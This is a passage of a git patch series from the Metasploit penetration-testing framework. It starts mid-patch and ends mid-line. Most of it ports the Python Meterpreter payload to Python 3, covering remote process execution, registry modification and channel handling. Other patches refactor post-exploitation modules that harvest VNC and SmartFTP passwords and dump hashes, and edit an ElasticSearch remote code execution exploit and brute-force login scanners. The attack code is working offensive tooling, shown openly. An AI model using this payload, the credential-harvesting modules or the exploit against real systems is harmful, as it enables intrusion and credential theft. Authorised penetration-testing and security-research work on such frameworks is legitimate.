ERROR_FAILURE, response channel.stdin.write(channel_data) + elif isinstance(channel, MeterpreterFile): + channel.write(channel_data) elif isinstance(channel, MeterpreterSocket): try: l = channel.send(channel_data) @@ -487,7 +497,7 @@ class PythonMeterpreter(object): reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) resp += tlv_pack(reqid_tlv) - handler_name = str(method_tlv['value']) + handler_name = method_tlv['value'] if handler_name in self.extension_functions: handler = self.extension_functions[handler_name] try: From 04e94b0c070cecfa6203f9b91101a2a771dbc497 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 29 May 2014 16:42:28 -0400 Subject: [PATCH 35/58] Fix meterpreter and file tests for Python v3.4 on Win --- data/meterpreter/ext_server_stdapi.py | 43 ++++++++------------------- data/meterpreter/meterpreter.py | 6 ++-- 2 files changed, 15 insertions(+), 34 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 416e2dbc41..41b07b142c 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -49,10 +49,12 @@ except ImportError: has_winreg = False if sys.version_info[0] < 3: + is_str = lambda obj: issubclass(obj.__class__, str) is_bytes = lambda obj: issubclass(obj.__class__, str) bytes = lambda *args: str(*args[:1]) NULL_BYTE = '\x00' else: + is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) is_bytes = lambda obj: issubclass(obj.__class__, bytes) str = lambda x: __builtins__['str'](x, 'UTF-8') NULL_BYTE = bytes('\x00', 'UTF-8') @@ -546,31 +548,6 @@ def netlink_request(req_type): sock.close() return responses -def _netlink_request(req_type): - # See RFC 3549 - NLM_F_REQUEST = 0x0001 - NLM_F_ROOT = 0x0100 - NLMSG_ERROR = 0x0002 - NLMSG_DONE = 0x0003 - - sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE) - sock.bind((os.getpid(), 0)) - seq = int(time.time()) - nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC) - sfd = os.fdopen(sock.fileno(), 'w+b') - sfd.write(nlmsg) - responses = [] - response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR))) - while response.type != NLMSG_DONE: - if response.type == NLMSG_ERROR: - break - response_data = sfd.read(response.len - 16) - responses.append(response_data) - response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR))) - sfd.close() - sock.close() - return responses - def resolve_host(hostname, family): address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0] family = address_info[0] @@ -837,7 +814,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response): use = ctypes.c_ulong() use.value = 0 ctypes.windll.advapi32.LookupAccountSidA(None, user_tkn.Sid, username, ctypes.byref(u_len), domain, ctypes.byref(d_len), ctypes.byref(use)) - complete_username = ctypes.string_at(domain) + '\\' + ctypes.string_at(username) + complete_username = str(ctypes.string_at(domain)) + '\\' + str(ctypes.string_at(username)) k32.CloseHandle(tkn_h) parch = windll_GetNativeSystemInfo() is_wow64 = ctypes.c_ubyte() @@ -846,7 +823,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response): if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)): if is_wow64.value: parch = PROCESS_ARCH_X86 - pgroup = '' + pgroup = bytes() pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID) pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID) pgroup += tlv_pack(TLV_TYPE_USER_NAME, complete_username) @@ -902,9 +879,10 @@ def stdapi_fs_delete_file(request, response): def stdapi_fs_file_expand_path(request, response): path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] if has_windll: + path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8')) path_out = (ctypes.c_char * 4096)() - path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out)) - result = ''.join(path_out)[:path_out_len] + path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out)) + result = str(ctypes.string_at(path_out)) elif path_tlv == '%COMSPEC%': result = '/bin/sh' elif path_tlv in ['%TEMP%', '%TMP%']: @@ -1011,7 +989,7 @@ def stdapi_fs_stat(request, response): @meterpreter.register_function def stdapi_net_config_get_interfaces(request, response): - if hasattr(socket, 'AF_NETLINK'): + if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'): interfaces = stdapi_net_config_get_interfaces_via_netlink() elif has_osxsc: interfaces = stdapi_net_config_get_interfaces_via_osxsc() @@ -1184,7 +1162,10 @@ def stdapi_net_config_get_interfaces_via_windll(): iface_info['index'] = AdapterAddresses.u.s.IfIndex if AdapterAddresses.PhysicalAddressLength: iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength) - iface_info['name'] = str(ctypes.wstring_at(AdapterAddresses.Description)) + iface_desc = ctypes.wstring_at(AdapterAddresses.Description) + if not is_str(iface_desc): + iface_desc = str(iface_desc) + iface_info['name'] = iface_desc iface_info['mtu'] = AdapterAddresses.Mtu pUniAddr = AdapterAddresses.FirstUnicastAddress while pUniAddr: diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index c206d0b8a7..7bc733cfc5 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -502,17 +502,17 @@ class PythonMeterpreter(object): handler = self.extension_functions[handler_name] try: if DEBUGGING: - print("[*] running method {0}".format(handler_name)) + print('[*] running method ' + handler_name) result, resp = handler(request, resp) except Exception: if DEBUGGING: - print("[-] method {0} resulted in an error".format(handler_name)) + print('[-] method ' + handler_name + ' resulted in an error') exc_type, exc_value, exc_traceback = sys.exc_info() traceback.print_exception(exc_type, exc_value, exc_traceback, file=sys.stderr) result = ERROR_FAILURE else: if DEBUGGING: - print("[-] method {0} was requested but does not exist".format(handler_name)) + print('[-] method ' + handler_name + ' was requested but does not exist') result = ERROR_FAILURE resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp From e2cc2fece00e0294465346ea2e0693636bb76974 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 30 May 2014 10:51:36 -0400 Subject: [PATCH 36/58] Pymeterpreter update win reg functions for python v3 --- data/meterpreter/ext_server_stdapi.py | 37 ++++++++++++++++++--------- 1 file changed, 25 insertions(+), 12 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 41b07b142c..3155e788da 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -48,6 +48,12 @@ try: except ImportError: has_winreg = False +try: + import winreg + has_winreg = True +except ImportError: + has_winreg = (has_winreg or False) + if sys.version_info[0] < 3: is_str = lambda obj: issubclass(obj.__class__, str) is_bytes = lambda obj: issubclass(obj.__class__, str) @@ -1271,9 +1277,10 @@ def stdapi_registry_close_key(request, response): def stdapi_registry_create_key(request, response): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8')) permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) res_key = ctypes.c_void_p() - if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS: + if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS: response += tlv_pack(TLV_TYPE_HKEY, res_key.value) return ERROR_SUCCESS, response return ERROR_FAILURE, response @@ -1282,18 +1289,20 @@ def stdapi_registry_create_key(request, response): def stdapi_registry_delete_key(request, response): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8')) flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value'] if (flags & DELETE_KEY_FLAG_RECURSIVE): - result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key) + result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key)) else: - result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key) + result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key)) return result, response @meterpreter.register_function_windll def stdapi_registry_delete_value(request, response): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] - result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name) + value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) + result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name)) return result, response @meterpreter.register_function_windll @@ -1362,9 +1371,10 @@ def stdapi_registry_load_key(request, response): def stdapi_registry_open_key(request, response): root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8')) permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) handle_id = ctypes.c_void_p() - if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS: + if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS: response += tlv_pack(TLV_TYPE_HKEY, handle_id.value) return ERROR_SUCCESS, response return ERROR_FAILURE, response @@ -1394,24 +1404,26 @@ def stdapi_registry_query_class(request, response): @meterpreter.register_function_windll def stdapi_registry_query_value(request, response): - REG_SZ = 1 - REG_DWORD = 4 hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) value_type = ctypes.c_uint32() value_type.value = 0 value_data = (ctypes.c_ubyte * 4096)() value_data_sz = ctypes.c_uint32() value_data_sz.value = ctypes.sizeof(value_data) - result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz)) + result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz)) if result == ERROR_SUCCESS: response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value) - if value_type.value == REG_SZ: + if value_type.value == winreg.REG_SZ: response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE) - elif value_type.value == REG_DWORD: + elif value_type.value == winreg.REG_DWORD: value = value_data[:4] value.reverse() - value = ''.join(map(chr, value)) + if sys.version_info[0] < 3: + value = ''.join(map(chr, value)) + else: + value = bytes(value) response += tlv_pack(TLV_TYPE_VALUE_DATA, value) else: response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value)) @@ -1422,9 +1434,10 @@ def stdapi_registry_query_value(request, response): def stdapi_registry_set_value(request, response): hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value'] value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value'] - result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data)) + result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data)) return result, response @meterpreter.register_function_windll From 4f5ab2c596becfd78ca0864501e07953d3acb0f9 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 30 May 2014 14:35:47 -0400 Subject: [PATCH 37/58] Pymeterpreter support process channels for Python v3 --- data/meterpreter/ext_server_stdapi.py | 3 +- data/meterpreter/meterpreter.py | 47 +++++++++++++++++++-------- 2 files changed, 35 insertions(+), 15 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 3155e788da..0af3c87a30 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -702,6 +702,7 @@ def stdapi_sys_process_execute(request, response): proc_h.stderr = open(os.devnull, 'rb') else: proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + proc_h.echo_protection = True proc_h.start() else: proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) @@ -1207,7 +1208,7 @@ def stdapi_net_config_get_interfaces_via_windll_mib(): table_data = ctypes.string_at(table, pdwSize.value) entries = struct.unpack('I', table_data[:4])[0] table_data = table_data[4:] - for i in xrange(entries): + for i in range(entries): addrrow = cstruct_unpack(MIB_IPADDRROW, table_data) ifrow = MIB_IFROW() ifrow.dwIndex = addrrow.dwIndex diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 7bc733cfc5..24a635bbfc 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -8,6 +8,7 @@ import struct import subprocess import sys import threading +import time import traceback try: @@ -120,7 +121,7 @@ def export(symbol): def generate_request_id(): chars = 'abcdefghijklmnopqrstuvwxyz' - return ''.join(random.choice(chars) for x in xrange(32)) + return ''.join(random.choice(chars) for x in range(32)) @export def inet_pton(family, address): @@ -223,11 +224,11 @@ class STDProcessBuffer(threading.Thread): threading.Thread.__init__(self) self.std = std self.is_alive = is_alive - self.data = '' + self.data = bytes() self.data_lock = threading.RLock() def run(self): - for byte in iter(lambda: self.std.read(1), ''): + for byte in iter(lambda: self.std.read(1), bytes()): self.data_lock.acquire() self.data += byte self.data_lock.release() @@ -235,15 +236,20 @@ class STDProcessBuffer(threading.Thread): def is_read_ready(self): return len(self.data) != 0 - def read(self, l = None): - data = '' + def peek(self, l = None): + data = bytes() self.data_lock.acquire() if l == None: data = self.data - self.data = '' else: data = self.data[0:l] - self.data = self.data[l:] + self.data_lock.release() + return data + + def read(self, l = None): + self.data_lock.acquire() + data = self.peek(l) + self.data = self.data[len(data):] self.data_lock.release() return data @@ -251,12 +257,25 @@ class STDProcessBuffer(threading.Thread): class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) + self.echo_protection = False def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader.start() + + def write(self, channel_data): + self.stdin.write(channel_data) + self.stdin.flush() + if self.echo_protection: + end_time = time.time() + 0.5 + out_data = bytes() + while (time.time() < end_time) and (out_data != channel_data): + if self.stdout_reader.is_read_ready(): + out_data = self.stdout_reader.peek(len(channel_data)) + if out_data == channel_data: + self.stdout_reader.read(len(channel_data)) export(STDProcess) class PythonMeterpreter(object): @@ -310,17 +329,17 @@ class PythonMeterpreter(object): else: channels_for_removal = [] # iterate over the keys because self.channels could be modified if one is closed - channel_ids = self.channels.keys() + channel_ids = list(self.channels.keys()) for channel_id in channel_ids: channel = self.channels[channel_id] - data = '' + data = bytes() if isinstance(channel, STDProcess): if not channel_id in self.interact_channels: continue - if channel.stdout_reader.is_read_ready(): - data = channel.stdout_reader.read() - elif channel.stderr_reader.is_read_ready(): + if channel.stderr_reader.is_read_ready(): data = channel.stderr_reader.read() + elif channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read() elif channel.poll() != None: self.handle_dead_resource_channel(channel_id) elif isinstance(channel, MeterpreterSocketClient): @@ -328,7 +347,7 @@ class PythonMeterpreter(object): try: d = channel.recv(1) except socket.error: - d = '' + d = bytes() if len(d) == 0: self.handle_dead_resource_channel(channel_id) break @@ -474,7 +493,7 @@ class PythonMeterpreter(object): if channel.poll() != None: self.handle_dead_resource_channel(channel_id) return ERROR_FAILURE, response - channel.stdin.write(channel_data) + channel.write(channel_data) elif isinstance(channel, MeterpreterFile): channel.write(channel_data) elif isinstance(channel, MeterpreterSocket): From 1e2ae1671395a79c89e802953b12fbdf7fc24402 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 30 May 2014 14:27:44 -0500 Subject: [PATCH 38/58] refactor vnc post module this adds Metasploit::Credential functionality to the post/windows/gather/credentials/vnc module it also fixes a hostname resolution issue on windows hashdump that could occur when the peerhost is an unresolved hostname --- .../post/windows/gather/credentials/vnc.rb | 100 +++++++++++++----- modules/post/windows/gather/hashdump.rb | 2 +- 2 files changed, 72 insertions(+), 30 deletions(-) diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb index c728cc4e0d..80c2af9442 100644 --- a/modules/post/windows/gather/credentials/vnc.rb +++ b/modules/post/windows/gather/credentials/vnc.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' - +require 'rex/proto/rfb' class Metasploit3 < Msf::Post @@ -224,37 +224,79 @@ class Metasploit3 < Msf::Post e[:port] = 5900 end print_good("#{e[:name]} => #{e[:hash]} => #{e[:pass]} on port: #{e[:port]}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => session.sock.peerhost, - :sname => 'vnc', - :pass => "#{e[:pass]}", - :port => "#{e[:port]}", - :source_id => source_id, - :source_type => "exploit", - :type => 'password' - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: e[:port], + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: "#{e[:pass]}" + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + access_level: 'interactive', + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end if e[:viewonly_pass] != nil print_good("VIEW ONLY: #{e[:name]} => #{e[:viewonly_hash]} => #{e[:viewonly_pass]} on port: #{e[:port]}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => session.sock.peerhost, - :sname => 'vnc', - :viewonly_pass => "#{e[:viewonly_pass]}", - :port => "#{e[:port]}", - :source_id => source_id, - :source_type => "exploit", - :type => 'password_ro' - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: e[:port], + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: "#{e[:viewonly_pass]}" + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + access_level: 'view_only', + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end } unload_our_hives(userhives) diff --git a/modules/post/windows/gather/hashdump.rb b/modules/post/windows/gather/hashdump.rb index ad9e294316..87d21acb9c 100644 --- a/modules/post/windows/gather/hashdump.rb +++ b/modules/post/windows/gather/hashdump.rb @@ -69,7 +69,7 @@ class Metasploit3 < Msf::Post # Assemble the information about the SMB service for this host service_data = { - address: session.sock.peerhost, + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), port: 445, service_name: 'smb', protocol: 'tcp', From 77eac38b012baf10e2ffa474abee82e5455a6c24 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 30 May 2014 16:32:03 -0400 Subject: [PATCH 39/58] Pymeterpreter fix processes_via_proc for Python v3 --- data/meterpreter/ext_server_stdapi.py | 4 ++-- modules/payloads/stages/python/meterpreter.rb | 1 - 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 0af3c87a30..ed7e58701a 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -753,14 +753,14 @@ def stdapi_sys_process_get_processes_via_proc(request, response): def stdapi_sys_process_get_processes_via_ps(request, response): ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command'] proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - ps_output = proc_h.stdout.read() + ps_output = str(proc_h.stdout.read()) ps_output = ps_output.split('\n') ps_output.pop(0) for process in ps_output: process = process.split() if len(process) < 4: break - pgroup = '' + pgroup = bytes() pgroup += tlv_pack(TLV_TYPE_PID, int(process[0])) pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1])) pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2]) diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index cb5b286c0b..1862298b82 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -8,7 +8,6 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_python' require 'msf/base/sessions/meterpreter_options' - module Metasploit3 include Msf::Sessions::MeterpreterOptions From 9eb42cb80f66cd39f97cf01149fc19206b4bee91 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Mon, 2 Jun 2014 11:48:45 -0500 Subject: [PATCH 40/58] refactor smartftp post module refactor the smartftp credential post module to use Metasploit::Credential --- .../windows/gather/credentials/smartftp.rb | 36 ++++++++++++++----- 1 file changed, 28 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb index d536fd0cc0..3e0ea97a0f 100644 --- a/modules/post/windows/gather/credentials/smartftp.rb +++ b/modules/post/windows/gather/credentials/smartftp.rb @@ -109,14 +109,34 @@ class Metasploit3 < Msf::Post else source_id = nil end - report_auth_info( - :host => host, - :port => port, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass - ) + service_data = { + address: host, + port: port, + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + login_data ={ + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) + end end From b7dc89f56924130e5087273112b9680fe2d8bba1 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 2 Jun 2014 13:09:46 -0500 Subject: [PATCH 41/58] I prefer "bruteforce" to "brute force" for search Just makes it easier to search for, since it's an industry term of art. --- modules/auxiliary/scanner/http/etherpad_duo_login.rb | 6 +++--- modules/auxiliary/scanner/http/pocketpad_login.rb | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/etherpad_duo_login.rb b/modules/auxiliary/scanner/http/etherpad_duo_login.rb index f17d451bee..66371cc7d1 100644 --- a/modules/auxiliary/scanner/http/etherpad_duo_login.rb +++ b/modules/auxiliary/scanner/http/etherpad_duo_login.rb @@ -13,10 +13,10 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => 'EtherPAD Duo Login Brute Force Utility', + 'Name' => 'EtherPAD Duo Login Bruteforce Utility', 'Description' => %{ This module scans for EtherPAD Duo login portal, and - performs a login brute force attack to identify valid credentials. + performs a login bruteforce attack to identify valid credentials. }, 'Author' => [ @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary return end - print_status("#{peer} - Starting login brute force...") + print_status("#{peer} - Starting login bruteforce...") each_user_pass do |user, pass| do_login(user, pass) end diff --git a/modules/auxiliary/scanner/http/pocketpad_login.rb b/modules/auxiliary/scanner/http/pocketpad_login.rb index 1a7dc9da52..a1a5b75f56 100644 --- a/modules/auxiliary/scanner/http/pocketpad_login.rb +++ b/modules/auxiliary/scanner/http/pocketpad_login.rb @@ -14,10 +14,10 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => 'PocketPAD Login Brute Force Utility', + 'Name' => 'PocketPAD Login Bruteforce Force Utility', 'Description' => %{ This module scans for PocketPAD login portal, and - performs a login brute force attack to identify valid credentials. + performs a login bruteforce attack to identify valid credentials. }, 'Author' => [ @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary return end - print_status("#{peer} - Starting login brute force...") + print_status("#{peer} - Starting login bruteforce...") each_user_pass do |user, pass| do_login(user, pass) end From ea383b41393b22b84099e3edb05056eda34575e7 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 2 Jun 2014 13:20:01 -0500 Subject: [PATCH 42/58] Make print/descs/case consistent --- .../multi/elasticsearch/script_mvel_rce.rb | 21 ++++++------- modules/post/windows/gather/enum_muicache.rb | 30 +++++++++---------- 2 files changed, 26 insertions(+), 25 deletions(-) diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb index 4cea8269d3..5012a8239d 100644 --- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution', 'Description' => %q{ - This module exploits a remote command execution vulnerability in ElasticSearch, + This module exploits a remote command execution (RCE) vulnerability in ElasticSearch, exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the - REST API, which requires no authentication or authorization, where the search - function allows dynamic scripts execution, and can be used for remote attackers + REST API, which does not require authentication, where the search + function allows dynamic scripts execution. It can be used for remote attackers to execute arbitrary Java code. This module has been tested successfully on ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3. }, @@ -65,29 +65,30 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - print_status("#{peer} - Trying to execute arbitrary Java..") + print_status("#{peer} - Trying to execute arbitrary Java...") unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") end - print_status("#{peer} - Asking remote OS...") + print_status("#{peer} - Discovering remote OS...") res = execute(java_os) result = parse_result(res) if result.nil? - fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...") + fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...") else - print_good("#{peer} - OS #{result} found") + # TODO: It'd be nice to report_host() with this info. + print_good("#{peer} - Remote OS is '#{result}' ") end jar_file = "" if result =~ /win/i - print_status("#{peer} - Asking TEMP path") + print_status("#{peer} - Discovering TEMP path") res = execute(java_tmp_dir) result = parse_result(res) if result.nil? - fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...") + fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...") else - print_good("#{peer} - TEMP path found on #{result}") + print_good("#{peer} - TEMP path identified: '#{result}' ") end jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar" else diff --git a/modules/post/windows/gather/enum_muicache.rb b/modules/post/windows/gather/enum_muicache.rb index dbf8824fd9..6b25a3dab2 100644 --- a/modules/post/windows/gather/enum_muicache.rb +++ b/modules/post/windows/gather/enum_muicache.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Post 'Description' => %q{ This module gathers information about the files and file paths that logged on users have - executed on the system. It also will check if the file exists on the system still. This + executed on the system. It also will check if the file still exists on the system. This information is gathered by using information stored under the MUICache registry key. If the user is logged in when the module is executed it will collect the MUICache entries by accessing the registry directly. If the user is not logged in the module will download @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Post username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList" profile_subkeys = registry_enumkeys(username_reg_path) if profile_subkeys.blank? - print_error("Unable to access ProfileList registry key. Can't continue.") + print_error("Unable to access ProfileList registry key. Unable to continue.") return nil end @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Post end user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", "ProfileImagePath") if user_home_path.blank? - print_error("Unable to read ProfileImagePath from the registry. Can't continue.") + print_error("Unable to read ProfileImagePath from the registry. Unable to continue.") return nil end full_path = user_home_path.strip @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Post # If the registry_enumvals returns us nothing then we'll know # that the user is most likely not logged in and we'll need to # download and process users hive locally. - print_warning("User #{user}: Can't access registry (maybe the user is not logged in 